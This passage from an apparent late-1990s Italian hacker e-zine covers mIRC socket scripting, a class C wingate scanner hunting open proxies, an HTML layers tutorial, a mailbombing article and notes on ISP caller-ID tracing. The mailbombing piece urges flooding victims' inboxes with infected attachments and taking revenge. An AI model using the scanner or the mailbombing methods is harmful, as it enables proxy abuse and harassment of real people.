(%chan).Poi ci sta un comando (sockclose) Questo comando vi permette di chiudere
un sock che voi avevate aperto prima.
Provate a levare quel comando e farlo senza quello....vedete che succede ;)
Sorpresa!
Questo remote (cosi si chiamano) apre una porta. ovviamente possiamo mettere la
porta che vogliamo tipo 12345 o 23 ecc. ecc.
ora implementiamo a questo piccolissimo script un altra cosuccia.
Esempio: il wingate! sappiamo tutti quanti che collegandoci ad un wingate
compare al ns telnet la scritta Wingate> giusto?
ok ma come facciamo a trovarli con mIRC semplicissimo.Lo tratteremo piu' tardi
ma adesso proviamo a fare un client simile alla MicroSux. Il telnet!
Iniziamo con una semplice spiegazione di cosa fa questo telnet.Questo programma
di pochi kappa non e' altro che un'interfaccia che senda a livello base le cose
che scriviamo ad un ip da noi deciso per una porta da noi decisa.
Tutto qui proviamo a farlo con mIRC.
alias tln {
if $server == $null { echo -a Devi essere connesso ad un server | halt }
;se non siamo collegati....
if $1 == $null { echo -a Error! Devi usare /tln ip porta | halt }
;questo e' un check per vedere se l'omo lancia il telnet senza niente.
;Potremmo pure farlo ma poi ci tocca mettere una lista degli ultimi dieci host
;contattati e francamente mi urta :)
if $2 == $null { echo -a Error! Devi usare /tln ip porta | halt }
sockopen tln $1 $2
echo -a Sto tentando una connessione su $1 alla porta $2
}
on *:sockopen:tln:{
if $sockerr > 0 { echo -a Socket error: $sockerr | return }
;questo e' un check per verificare un errore di socket.Se e' maggiore di 0 si
;e' verificato un errore.Non scordatevelo mai.
:loop
;non basta una lettura soltanto del buffer ovviamente ma ce ne vogliono di
;piu' e allora usero' questo :loop per fare dei "goto"
sockread -n %temp.read
;legge quello che l'host manda
;l'opzione -n aggiunge il $crlf dalla stringa. $crlf comando di return....
if $sockbr == 0 return
;sockbr == sock byte received se questo e' 0 vuol dire che e' finito il buffer
if %temp.read == $null %temp.read = -
;molto spesso gli host mandano delle righe nulle cosi tanto per e noi ci
;mettiamo un bel trattino
;perche cmnq il buffer continua
echo -a %temp.read
goto loop
}
ma come facciamo a mandare le info a sto telnet??
creiamo una finestra apposita...
cosi:
senza commenti
on *:sockopen:tln:{
if $sockerr > 0 { echo -a Socket error: $sockerr | return }
window -e @telnet
titlebar @telnet connected....
}
window -e @telnet crea una window (finestra) con un box edit (-e) a piu' linee
potevate mettere -E (tre linee edit)
echo @telnet invia l'echo su quella finestra. Se la finestra non ce fara' un
echo sulla finestra dello status
ora.Provate a cuttare e pastare nel vostro mIRC editor (alt-r) e vedete che
succede. Vi dira no command qualcosa del genere....perche'?
perche' tutto quello che e' scritto in finestre != (diverse.Cominciamo a parlare
con un linguaggio programmatico ;)) da canale e query verra' interpretato come
comando. A meno che....
A meno che non intercettiamo queste scritte con un bel remote
on *:input:@telnet:{
if $server == $null { echo @telnet Non sei collegato | halt }
if $left($1,1) != / {
echo @telnet $1-
sockwrite tln $1-
halt
}
}
Abbiamo intercettato tutti i comandi che iniziano con / e li abbiamo sendati al
sock furbi no?
ora leggiamo da sto sock
on *:sockread:tnl:{
if $sockerr > 0 return
:loop
.sockread -n %tnl.read
if $sockbr == 0 return
if %tnl.read == $null { set %tnl.read - }
echo @telnet %tnl.read
goto loop
}
benissimo.Fatto il telnet.
Ma se volessimo fare uno scanner di wingate?
mmm niente di piu' facile.
Riprendiamo il passo precedente con una piccola modifica:
on *:sockread:tnl:{
if $sockerr > 0 return
:loop
.sockread -n %tnl.read
if %tnl.read == Wingate> { echo @telnet Wingate Found!!!! | halt }
if $sockbr == 0 return
if %tnl.read == $null { set %tnl.read - }
echo @telnet %tnl.read
goto loop
}
Ecco fatto.Ma questo solo su un ip da noi stabilito.Possiamo fare anche while e
goto ovviamente
che incrementino un ip es.:
127.0.0.1
127.0.0.2 ecc. ecc.
Vediamo come si fa uno scanner di wingate di classe C:
wingate-c-scanner {
if $1 == $null { echo -a Usa: /wingate-s-scanner 127.0.0. | halt }
if $right($1,1) != $chr(46) {echo -a Usa: /wingate-s-scanner 127.0.0. | halt}
;non facciamo il check se e' un numero (isnum)
;$chr(46) ritorna il punto.Il 46 e' il corrispondente valore ascii.
set %line 0
while (%line < 256) {
sockopen wing. $+ $1 $+ $+ %line $1 $+ %line 23
inc %line 1
}
echo -a Finished scanning C-class for wingate Ip: %line
unset %line
}
on *:sockopen:wing.*:{
if $sockerr > 0 return
window @wingates
titlebar @wingates Open sock.......
echo @wingates $remove($sockname, $+ $left($sockname,5)) open sock...checking
for wingate
;il sock si apre ma ora bisogna vedere se e' un sock
}
on *:sockread:wing.*:{
if $sockerr > 0 return
sockread -n %wi.read
if %wi.read == Wingate> {
window @wingates
echo @wingates $remove($sockname, $+ $left($sockname,5)) Wingate!!!
}
}
Fatto uno scanner di classe c per wingate.Ovviamente potete sbizzarrirvi con
host e ip di classe A e B (un po piu' lungo da fare).
Vi do un consiglio mettete questo piccolo script nei vostri remote
--- cut here ---
#raw on
raw *:*:{ window @raw | titlebar @raw Logging events | echo @raw Raw Number: $nu
meric $1-
write $mircdirraw.txt $numeric $1- }
#raw end
menu status,channel,menubar,query {
Raw by sante:{
if $group(#raw) == On { disable #raw | halt } enable #raw | halt
}
--- cut here ---
Questo per abilitare e disabilitare l'opzione di vedere tutti i raw su una
finestra e di poterli leggere comodamente offline con calma
fatto questo fate /who *.com quando siete collegati ad un server....
e joite perche' vedrete tutti i *.com collegati alla ircnet
ovviamente quello che riceverete saranno raw con cui voi potrete lavorare con lo
script (a voi la fantasia)
Fine Primo numero
================================================================================
== TIPS IN MIRC
================================================================================
== XeRoX <x-er0@usa.net>
================================================================================
Ho scoperto una cazzatina in mIRC 5.61 pero e carina ;)
Ero come tutti i giorni su iRC a scazzarmi, per lo piu da Windozze...
provavo a fare un crack..con pessimi risultati..vabbe e un altra sturia.
Per un irrefrenabile spasmo alla mano clikkai con tutti i pulsanti su
tutti i tasti, ecco che trovai una tips :
Schiaccia col tasto destro del mouse sull'ultimo pulsante a destra
della barra delle icone ;) heheheeh schiaccia ripetutamente e ...
la infobar ( o come si chiama ) cambia in cose simpatiche.
Ma bravo Mardam-Bey!
------------------------------
|_| |_| |_| |_| |_| |_| |
------------------------------
/\
||
||_______
\________|=|QuEStA!
Schiacciate ripetutamente e cosa vedete? hahahahahaah
che la infobar cambia e si vedono frasi spiritose ehheeheh
Ekko l'elenko delle paroline :
-hoohaa!
-I'm a Tigger, are you?
-nanoo nanoo
-BaDOOM!
-Mork calling Ork
-YaK!
-Whatever you do...
-DON'T PANIC!
-Grrr...
-Greetings [your-current-nick]!
-That's all folks!
-Enjoy the ride!
-woowoo!
-ouch!
-eek!
-yikes!
-moo!
-erk!
-:P~~~
-It's life Jim...
-but not as we know it
-Ni!
-"positive karma"
-oink!
-With a rubber duck
-one's never alone
- -gribbit-
-hi MOM!
(non mi chiedete perche le ho messe così ;)
bye --Xerox`-- ][X]h3r0[
on IRCnet on #mentor ;)
un 10x a tutti i broz e le sis e ancke a Ed0 & Max
un " Dove AzzO sei finito ??? !!! " a [W|NZ]
un bacio a L***A.
bye all ;) alla prox (si alla prox!, scrivero' ancora! ..da non crederelo so.. )
================================================================================
== LAYERS, COSA SONO, COME UTILIZZARLI, COME GESTIRLI
================================================================================
== [T]wister
================================================================================
MUSICA ASCOLTATA : Alanis Morissette, Cranberries, Radiohead
Salve gente, oggi si parlerà dell' implementazione dei livelli (i cosiddetti
"layers") nelle pagine HTML.
Questi possono essere utilizzati per costruire una serie di sottopagine
all' interno della stessa pagina web flessibilmente gestibili.
A dirla così i livelli potrebbero ricordare i frame, in realtà sono molto
diversi e presentano alcune caratteristiche che li rendono molto interessanti
e molti utili per ottenere, combinati con codice Javascript, effetti dinamici
veloci e efficaci.
Due sono le funzioni principali che i livelli possiedono rispetto ai frames,
quella di poterne determinare la visibilità e quella di deciderne
CON PRECISIONE la posizione all' interno del layout della pagina; senza
dimenticare ovviamente la possibilità di muoverli, visualizzarli, nasconderli e
così via concessaci da Javascript.
Possiamo iniziare.
IN-FLOW e OUT-FLOW : let' s go guys
La sostanziale differenza tra i livelli OUT-FLOW (i più usati) e IN-FLOW sta
nella relazione con il resto dei tag della pagina.
Un livello OUT-FLOW è "staccato" dal resto della pagina e apparirà esattamente
dove le vostre coordinate lo piazzano SENZA INFLUENZARE la successione dei TAG
della pagina. In pratica se mettete un titolo poi un livello e infine un blocco
di testo, quest' ultimo apparirà subito sotto il titolo.
Il tag per un livello out-flow è <layer></layer>.
Un livello IN-FLOW viene invece posto TRA il tag immediatamente PRECEDENTE e
quello immediatamente SUCCESSIVO. Pur sembrando più intuitivo di quello
out-flow, in realtà risulta essere molto meno gestibile, soprattutto per lavori
a più livelli e/o dinamici con Javascript.
Il tag per un livello in-flow è <ILAYER></ILAYER>
"Bene sappiamo costruire dei livelli, ora gestiamoli! :))"
Per gestire i livelli (siano essi out-flow o in-flow) occorre determinarne gli
attributi ( che poi farete cambiare dinamicamente da javascript ;) ).
Il sistema è semplice :
<LAYER attributi>
codice html, testo ecc --> esempio estendibile anche ai tag <ILAYER>
</LAYER>
Gli attributi principali sono :
- BACKGROUND --> stabilisce un immagine da usare come background
- BGCOLOR --> "" un colore "" "" "" ""
- LEFT, TOP --> stabilisce la distanza in pixel dal margine sinistro, alto
se utilizzato con <ILAYER> stabilisce l' offset del tag
successivo
- CLIP --> serve a ritagliare, tramite quattro coordinate (da sinistra,
dall' alto, da destra, dal basso), una parte di livello.
I numeri devono essere interi e separati da virgole e si
riferiscono ai margini del livello, ad es, CLIP="50,50,50,50"
ritaglia una parte di livello distante 50 pixel da tutti e
quattro i margini.
- NAME --> stabilisce un nome per il livello corrente, molto utile per la
gestione via Javascript
- VISIBILITY --> può assumere tre valori per indicare la visibilità del livello
(ma dai non l' avevamo capito ;) ) :
- SHOW visibile
- HIDE nascosto
- INHERIT assume l' attributo di visibilità del livello
superiore o genitore
- ABOVE,BELOW --> stabilisce se il livello corrente è superiore/genitore o
inferiore/figlio del livello indicato.
L' uso è ABOVE="nomelivello", BELOW="nomelivello"
- ZINDEX --> stabilisce (con un numero) l' ordine di visualizzazione del
livello e la sovrapposizione.A numero maggiore corrisponde una
maggiore importanza, per chiarirci un livello con ZINDEX="2"
verrà mostrato in primo piano e sovrapposto rispetto ad un
livello con ZINDEX="1"
E questo è quanto è necessario utilizzare per costruire i livelli e gestirli.
"E ora divertiamoci!!!"
Ora che vi siete costruiti i vostri bei livelli e siete riusciti a piazzarli
dove vi pare all' interno della pagina è ora di vedere come gestirli e variarne
le caratteristiche, modificandone le caratteristiche in base ai movimenti e
ai clic del mouse.
Per fare tutte queste belle cosette ci viene in aiuto il caro Javascript e i
precedenti attributi dei livelli.
Per cambiare lo stato di un livello si utilizzano quelle che vengono chiamate
proprietà del tag <LAYER> e quelli che vengono detti metodi del tag <LAYER>.
Il sistema è :
document.nomelivello.proprietà --> per utilizzare o modificare le
proprietà del livello.
document.nomelivello.metodo(parametri) --> per i metodi del livello
Da notare che document è fisso mentre nomelivello varia a seconda del NOME
impostato per il livello (ricordate l' attributo NAME?? ;) ) e proprietà, metodo
ecc variano a seconda del metodo e delle proprietà che deciderete di utilizzare.
Visto che oggi sono in vena eccovi le proprietà e i metodi, il cui utilizzo
è abbastanza intuitivo... in linea di massima con le proprietà si DETERMINANO le
caratteristiche di un livello e se ne CAMBIANO alcune quali ad es il background o
lo zINDEX (tanto per ricordare che Javascript è case sensitive come il nostro
Linuzzo ;) ) ecc ecc.
PROPRIETA' MODIFICABILI :
background --> immagine di background
bgColor --> sfondo
clip.top
clip.bottom
clip.height
clip.width --> per gestire il rettangolo di ritaglio
clip.left
clip.right
left, top --> posizione rispetto ai margini
visibility --> inherit, hide o show
zINDEX --> importanza di un livello per la sovrapposizione
PROPRIETA' SOLAMENTE DETERMINABILI
layers --> Memorizza nome e zindex di un livello
above, below --> Livello superiore, inferiore
name --> Identifica il livello (gestione con Javascript)
width --> Ampiezza livello
METODI
offset(x,y) --> Determina che il livello sia spostato a sinistra di x e in
alto di y. Tuttavia viene privilegiato a offset il comando
moveTo per determinare con precisione la posizione.
moveTo(x,y) --> Sposta il livello nel punto desiderato calcolato con la
distanza (ovviamente sempre in pixel) dal margine superiore
sinistro
resize --> stabilendo width e height, cioè larghezza (in pixel) e altezza
(sempre in pixel), è possibile ingrandire o rimpicciolire il
livello
Paint!Paint!!
E anche questa è fatta ;)
Ora avete a disposizione tutti gli strumenti per iniziare a divertirvi con
i vostri bei livelli, utilizzando gli eventi javascript (ad es. onMouseOver,
onClick, onMouseOut ecc ecc) e un po' di fantasia.
Tanto per darvi qualche idea si potrebbe creare un sistema a schedario basandosi
su zINDEX per determinare quale scheda visualizzare e usare moveTo per portarla
al centro dello schermo, oppure creare un menù e mettergli vicino o sotto un
livello che varia a seconda del link su cui si posa il mouse e che contiene
una spiegazione del pulsante o creare pagine annidate che si caricano durante
il caricamento della pagina principale eliminando i tempi morti ecc., ricordando
sempre alcune avvertenze :
- Ricordarsi dell' utente : non esagerare mai con la grafica e con i livelli
creando una pagina pesantissima.
Lo scopo di una bella pagina è attirare utenti e
allontanarli per un' eccessivo tempo di caricamento
non mi pare una grande scelta ;)
- Allargare il target : se volete toccare il maggior numero di utenti
possibile ricordate che i livelli sono gestiti solo
dagli ultimi browser (ad es. da Netscape Comunicator
e non da Navigator) quindi se avete tempo prevedete
anche una versione o un mirror meno "avanzato" ma
accessibile a tutti, magari creando prima con
Javascript una pagina che rinvii automaticamente
alla versione della pagina su misura per il browser.
- Rispettare le regole : se utilizzate javascript per modificare i livelli
rocordate che è case sensitive e che i numeri che
usate per indicare la quantità di pixel DEVONO
essere interi.
E questo è proprio tutto per questa volta!!
Concedetemi solo più qualche ringraziamento a :
|KC| per avermi permesso di scrivere su questa e-zine
^Ragno^ un amicone da tempo e colui che m' ha fatto conoscere mentor
X3V|L3574R per i consigli e il tempo che ha pazientemente passato a rispondere
alle mie domande.
E un bel FUCK al FRONTPAGE di Winbloz!!
Byez all
================================================================================
== MAILBOMBING (KE CAXXO E'?!)
================================================================================
== L[eo]n
================================================================================
Salve, ho deciso di parlare un po di questo argomento perchè non se ne parla
molto, e quindi come da titolo ..... MaIlBoMbInG ... Ke Caxxo è?!
Risponderò io a questa domanda o almeno ci provo :)
In questo articolo spiegherò come effettuare, come stare attenti a non finirci
dentro e soprattutto come difendersi!!!!!!!!!
Bene prima di cominciare permettetemi di salvutare tutti i componenti della
MeNtOr CrEw!!!!!!!Ed in particolar modo:
X3V|L574R (6 un grandeeeeeeee, ci vuole molta pasienza a sopportarmi, tu ci 6
riuscito!!!)
^M4dD0g^ (Il fratellino + piccolo di X3Vil ma cmq grande!!!)
[kc] (molto, molto simpatico)
Pr|nce
^Ragno^(MITICOOOOOOOOO)
Yap
Jeko
Xerox (Mia prima conoscenza del gruppo)
ed tanti altri ...........
Veniamo a noi ....... per definizione il mailbombing non è altro l'azione di far
arrivare ad un dato indirizzo E-Mail ....... molte moltissime mail!! (miiiiiiiii
sembro il TreCaNneeeee!!!)
Il mailbombing è una cosa molto fastidiosa.....spegialmente x la vittim :D
Il poveretto dovrà scaricarsi una cosa che si aggira intorno a 10.000 mail e
credetemi ....... non è bello!!!
Ci sono 2 tipi di MailBombing(oltre a quello via web e-mail e mailing list)
1)Collettivo
2)Singolo
MailBombing Collettivo:
Essa è una cosa molto semplice a priori (uhm ...... priori ...... che caxxo sto
dicendo!!!!) ma è complicato nell'organizzazione, mi spiego, in pratica dovrete
convincere più persone possibili a darvi una mano, cioè a mandare più mail
possibili (possibilmente con un file virato allegato!!) all'indirizzo della
vittima!!!! Ma passiamo a quello che preferisco .......
MailBombing Singolo:
Ah ....... finalmente,per effettuare un mailbombing da solo avrete bisogno di un
programmino tipo Kaboom3 o mailbomber,questi programmi hanno la proprietà di
inviare,in automatico,alla vittima numeri elevatidi mail......ma la cosa più
importante è che ti fanno mantenere l'anonimato!!!! L'unica rottura di caxxo (ma
non troppo) è che dovete essere collegati per fare una cosa del genere,dovete
aspettare che il programma abbia finito di inviarle tutte!! Ma non temete l'invio
di una E-Mail si aggira intorno a pochi decimi di secondo!!!!
L'insieme di mailbombing Collettivo e singolo .... da come risultato la seguente
espressione:
Collettivo+Singolo=Distruzzione dell'AnO(della vittima)
Come Prevenire il MailBombing?!
Per dirla breve ...... si Mailbombardano gli stronzi o comunque qualcuno che sta
antipatico ecc ....
Ma come faccio a riconoscere uno stronzo?
Semplice il luogo + comune(oltre a irc) sono i newsgroup....
Ad esempio .... uno che non parla del tema del newsgroup,uno che dice stronzate,
parolacce,Frasi LaMaH ecc ....
Comunque voglio dare un consiglio .... se proprio sei un cojone e ti diverti a
fare stonzate renditi anonimo così eviti di trovarti in brutte situazioni!!!!
(miiiiiiiii come sono buono......). Un altro modo di prevenire un bombardamento
è quello di farvi, + comunemente definito, I CAXXACCI vostri!!! Cioè non date
mai a nessuno ..... mai.... il vostro indirizzo E-mail ....... se proprio non
potete farne a meno .... createvi un indirizzo di posta di quelli gratiZ e
usateli per le cose non importanti!!!!
Ricordate il detto popolare "Chi si fa i Caxxi Suoi campa 100 anni"
E se io mi faccio i Caxxi miei,ma mi trovo vittima di un MailBombing?!
Allora le soluzioni sono tante .............
Prima di tutto fate un bel respiro ........ con calma .... molta calma ......
così eviterete di BESTEMMIARE IN 12 LINGUE DIVERSE,ma soprattutto di formattare
L'HardDisK,ma basta con le stronzate ....... come dicevo le soluzioni ci sono e
sono queste:
Potreste con molta calma scaricarvele tutte ...... e cancellare solo quelle del
bombardamento ..... perchè può capitare che in mezzo alle Bomb Mail vi siano
anche quelle buone ..... che vi interessano ......
Un'altra soluzione può essere quella di chiedere a postMaster di svuotarvi la
casella postale,ma questo comporta 2 problemi.Il primo è quello solito delle
lettere buone che vi perdete ...... il secondo è che dovete aspettare 2 o 3
giorni!!!!
Piccolo consiglio by L[eo]n ........ quando siete vittima di un bombardamento
andate subito a vedere gli headers del messaggio ...... leggete,leggete e
leggete ........ può essere che il LaMazzo ha commesso qualche errore ........
(nella maggior parte dei casi non se ne accorge neanche)e quindi potrete
risalire a lui ........
A questo pnuto avete 2 opzioni daventi a voi:
1)Da bravi ragazzi lo dite al postmaster
2)GLI ROMPETE IL CULOOOOOOOOOOOOOO
Se scegliete la seconda ricordate ...... come diceva un mio caro amico .....
"La vendetta è un piatto da servire FrEDDo"!!!!
E con questo credo che io abbia finito ........... se c'è qualche problema
potrete contattarmi al mio indirizzo E-Mail
ColCazzochetelodo@tuttoquellochehoscrittononsarebbeservitoauncaxxo.fuck
Vi risponderò sicuramente :D
Ultima nota: Mi scuso con chiunque pensi che io mi sia espresso con termini
scurrili e poco tecnici!!!! Ma perdonatemi ....... anche io mi rompevo le (non
posso dirlo comunque è una cosa che inizia per P e finisce con ALLE!!!!!!!) di
scrivere un articolo serio ........ Bye Bye ..........
================================================================================
== PRIMI PASSI NELL'ANONIMATO
================================================================================
== ^35P^
================================================================================
Questo documento ha lo scopo di chiarire alcuni aspetti riguardo
l'anonimato assolutamente necessario per l'avvicinamento all'Hacking
o per una navigazione anonima.....
Chi ha orecchie per intendere, intenda... Gli altri in casa o roulotte
(Dehehihohu)
In principio era l'abbonamento a pagamento.... dove era necessario
fornire tutti i dati dell'utilizzatore, compreso codice fiscale, numero
di carta d'identità, peso del cervello, circonferenza midollare....
poi venne l'abbonamento gratuito... quello attivabile anche da Internet,
tramite una pagina web...
Ma che figata! Mi scarico un generatore di Codici Fiscali, mi invento i
dati personali così da associare allo userid dei dati falsi e non sono
più rintracciabile! TiFEnTERO' PATRONE DI MONDO!! Ahahaah (stronzata)
Questo forse si poteva fare solo agli inizi... subito dopo l'uscita delle
attivazioni gratuite e dal web... ma ora...
Perché?
Vi siete accorti che da qualche mese a questa parte quando vi squilla il
cell spesso compare il numero di telefono del chiamante anche se questo
sta utilizzando un apparecchio fisso?
Dovete sapere che per il telefono di casa è automaticamente attivato
l'invio del proprio numero telefonico (CLI) ma è disattivato nella ricezione..
(se non avete il display sul telefono di casa, vi okkorre un apparecchio
acquistabile c/o telecoz o potete comprare il Merlino della Brondi)
Faccio un esempio:
Pippo (da casa) chiama Pluto (a casa), Pippo manda il num telefonico a Pluto
ma Pluto non può visualizzarlo. Chiamando telecoz è possibile abilitare o
disabilitare l'uno o l'altro servizio. Quindi potete chiedere di farvi vedere
il numero di chi vi chiama o potete chiedere di non inviare il vostro numero.
Gli abbonamenti attivabili dal web chiedono ancora i dati personali... Ma
credo che ne possano fare a meno... E' da notare tra l'altro che prendendone
due, ad esempio Tiscali (www.tiscalinet.it) e Infinito (www.infinito.it)
i campi da compilare per l'attivazione via web sono molto diversi.... Tiscali
chiede ancora un sacco di dati personali, per Infinito invece, basta il nome,
cognome, indirizzo e numero di telefono....
E' in ogni caso interessante vedere l'articolo 9 dell'abbonamento di Tiscali
(ovviamente scritto in piccolissimo)
9. DOCUMENTAZIONE E IDENTIFICAZIONE CLIENTE:
Il cliente prende atto e accetta l'esistenza del registro elettronico del
funzionamento di Tiscali Net (il Log), compilato e custodito a cura di
Tiscali S.p.A. Il contenuto del Log ha il carattere della riservatezza
assoluta e potrà essere esibito solo ed esclusivamente su richiesta delle
Autorità competenti. Al fine di identificare con certezza la provenienza
della connessione, il cliente prende atto del fatto che Tiscali S.p.A.
identifica l'utente nel momento del collegamento alla rete Tiscali Net
mediante il numero identificativo del chiamante (CLI).
Quindi voi potete scrivere qualunque dato personale, vero o no... tanto
tramite il CLI vi possono venire a citofonare sotto casa.... E non è bello
anche perché se vi beccano inserire dati falsi credo che vi possa essere
una bella denuncia....
Quindi purtroppo non serve più usare la password dell'amico o del prof. per
esser sicuri..... perché il collegamento dal Login al CLI è breve....
e se fate kazzate dal CLI alla denuncia è altrettanto breve....
================================================================================
== SALUTI E DEDIKE
================================================================================
Tutti i membri d M3nt0r
Gli amici Avatar, RingZer0, UIC :)
_Leila_ e i gli altri Lords of Galaxy
BluN|ght :)
... Tieni duro L4SH3R ... :)
Byez all folks.
N.B.: Un saluto particolare a [KC] (e che cavolo) {D4nG3r}
